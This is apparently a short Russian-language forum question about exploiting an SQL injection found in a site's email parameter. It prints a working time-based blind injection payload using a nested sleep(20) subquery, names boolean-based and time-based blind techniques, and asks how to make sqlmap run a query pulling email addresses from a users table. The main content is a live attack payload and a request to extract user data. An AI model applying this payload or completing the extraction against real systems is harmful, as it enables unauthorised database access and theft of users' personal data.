есть такая скуляemail=asdasd@asdasd.com'%2b(select*from(select(sleep(20)))a)%2b'&mobile=0

AND boolean-based

AND time-based blind

Так вот как отправить вот такой запрос select email from users where id = 1

Через тот же sqlmap